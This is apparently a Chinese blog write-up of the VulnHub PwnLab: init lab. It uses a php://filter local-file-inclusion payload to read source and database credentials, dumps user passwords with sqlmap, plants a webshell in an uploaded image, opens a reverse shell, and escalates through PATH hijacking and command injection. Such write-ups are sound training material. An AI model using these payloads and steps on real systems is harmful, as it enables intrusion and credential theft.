• 11. PwnLab init 靶机


    简介

    靶机地址 https://www.vulnhub.com/entry/pwnlab-init,158/

    信息收集

    image-20210610145359159

    web 渗透

    image-20210610145425108

    扫目录

    image-20210610145529847

    登录处sql 注入

    image-20210610145452045

    sqlmap 跑失败了

    检测数据包中敏感字段

    image-20210610145612185

    尝试未授权直接访问 upload.php ,失败

    尝试 page 处文件包含,发现可以读取文件

    page 参数文件包含

    根据扫目录扫描出来的文件名与page 包含的参数,很容易猜测出 page 参数末尾自动添加 .php 后缀。

    尝试 00 截断、长度截断、?# 特殊 url 字符截断。都失败了。但不能就说这块不存在包含漏洞。

    可以尝试使用 url-wrapper 读取一些数据

    php://filter/convert.base64-encode/resource=index
    http://192.168.200.151/?page=php%3a%2f%2ffilter%2fconvert.base64-encode%2fresource%3dindex
    

    读取一下扫到的部分关键文件,并解码

    # index.php
    <?php
    //Multilingual. Not implemented yet.
    //setcookie("lang","en.lang.php");
    if (isset($_COOKIE['lang']))
    {
    	include("lang/".$_COOKIE['lang']);
    }
    // Not implemented yet.
    ?>
    <html>
    <head>
    <title>PwnLab Intranet Image Hosting</title>
    </head>
    <body>
    <center>
    <img src="images/pwnlab.png"><br />
    [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
    <hr/><br/>
    <?php
    	if (isset($_GET['page']))
    	{
    		include($_GET['page'].".php");
    	}
    	else
    	{
    		echo "Use this server to upload and share image files inside the intranet";
    	}
    ?>
    </center>
    </body>
    </html>
    
    
    # config.php
    <?php
    $server	  = "localhost";
    $username = "root";
    $password = "H4u%QJ_H99";
    $database = "Users";
    ?>
    
    # upload.php
    <?php
    session_start();
    if (!isset($_SESSION['user'])) { die('You must be log in.'); }
    ?>
    <html>
    	<body>
    		<form action='' method='post' enctype='multipart/form-data'>
    			<input type='file' name='file' id='file' />
    			<input type='submit' name='submit' value='Upload'/>
    		</form>
    	</body>
    </html>
    <?php 
    if(isset($_POST['submit'])) {
    	if ($_FILES['file']['error'] <= 0) {
    		$filename  = $_FILES['file']['name'];
    		$filetype  = $_FILES['file']['type'];
    		$uploaddir = 'upload/';
    		$file_ext  = strrchr($filename, '.');
    		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
    		$whitelist = array(".jpg",".jpeg",".gif",".png");
    		
    		if (!(in_array($file_ext, $whitelist))) {
    			die('Not allowed extension, please upload images only.');
    		}
    		if(strpos($filetype,'image') === false) {
    			die('Error 001');
    		}
    		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
    			die('Error 002');
    		}
    		if(substr_count($filetype, '/')>1){
    			die('Error 003');
    		}
    
    		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
    		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
    			echo "<img src="".$uploadfile.""><br />";
    		} else {
    			die('Error 4');
    		}
    	}
    }
    ?>
    

    看来基本意图比较明确,通过 直连数据库获取到用户信息,登录进网站。然后通过上传功能上传 webshell 。最后再通过 cookie 中 lang 变量包含 webshell。

    python3 sqlmap.py  -d mysql://root:H4u%QJ_H99@192.168.200.151:3306/ -D Users --dump
    
    +------------------+--------+
    | pass             | user   |
    +------------------+--------+
    | aVN2NVltMkdSbw== | kane   |  iSv5Ym2GRo
    | Sld6WHVCSkpOeQ== | kent   |  JWzXuBJJNy
    | U0lmZHNURW42SQ== | mike   |  SIfdsTEn6I
    +------------------+--------+
    

    将 webshell 附加到图片里,上传。再通过 cookie 中包含即可执行命令。

    image-20210610182607393

    image-20210610182627868

    本地使用 nc 监听,然后反弹 shell

    image-20210610191844817

    提权

    通过反弹 shell 之后,通过以下命令获取 full tty shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    export TERM=xterm
    [ctrl + z]
    stty raw -echo; fg
    stty rows 38 columns 116
    

    先看配置 是否存在问题,再尝试漏洞提权

    发现 /home 下存在 4个用户,有三个的密码已经得到,逐个登录,看是否有敏感文件

    image-20210610184549354

    kane 用户

    image-20210610184627125

    image-20210610184738064

    尝试库劫持,但目标主机没有 strace 这个命令

    strace msgmike 2>&1 | grep -i -E "(open|access)*no file"
    

    没思路了,看下 writeup ,提示可以通过修改 PATH ,从而劫持 cat。

    image-20210610185811067

    image-20210610190840409

    从而获取到 mike 用户的 shell

    kent 用户

    没有值得注意的文件

    image-20210610185016857

    mike 用户

    密码不对,登录失败。

    通过 kane 用户家目录下 msgmike 获取到 shell 后

    image-20210610190940003

    运行一下,是让输入某些东西。尝试 strings 看看有没有敏感的内容。发现以下内容

    image-20210610191034415

    此处意味着输入很可能会被替换为 %s 。那么就是典型的命令注入绕过。

    image-20210610191420206

    image-20210610191529986

    image-20210610191548409

  • 相关阅读:
    生产环境Redis中的热点key如何发现并优化?
    一条update SQL在MySQL中结束生命历程
    主从测试过程中,如何模拟网络抖动?
    RDS-MySQL物理备份文件恢复到自建数据库
    Python从数据库中读取数据,并打印表格展示数据。
    Python简单巡检MySQL
    RDS-MySQL备份文件恢复到自建数据库
    使用Python读取Excel表格
    设计模式六大原则:迪米特法则
    设计模式六大原则:开闭原则
  • 原文地址:https://www.cnblogs.com/starrys/p/14872491.html
Copyright © 2020-2023  润新知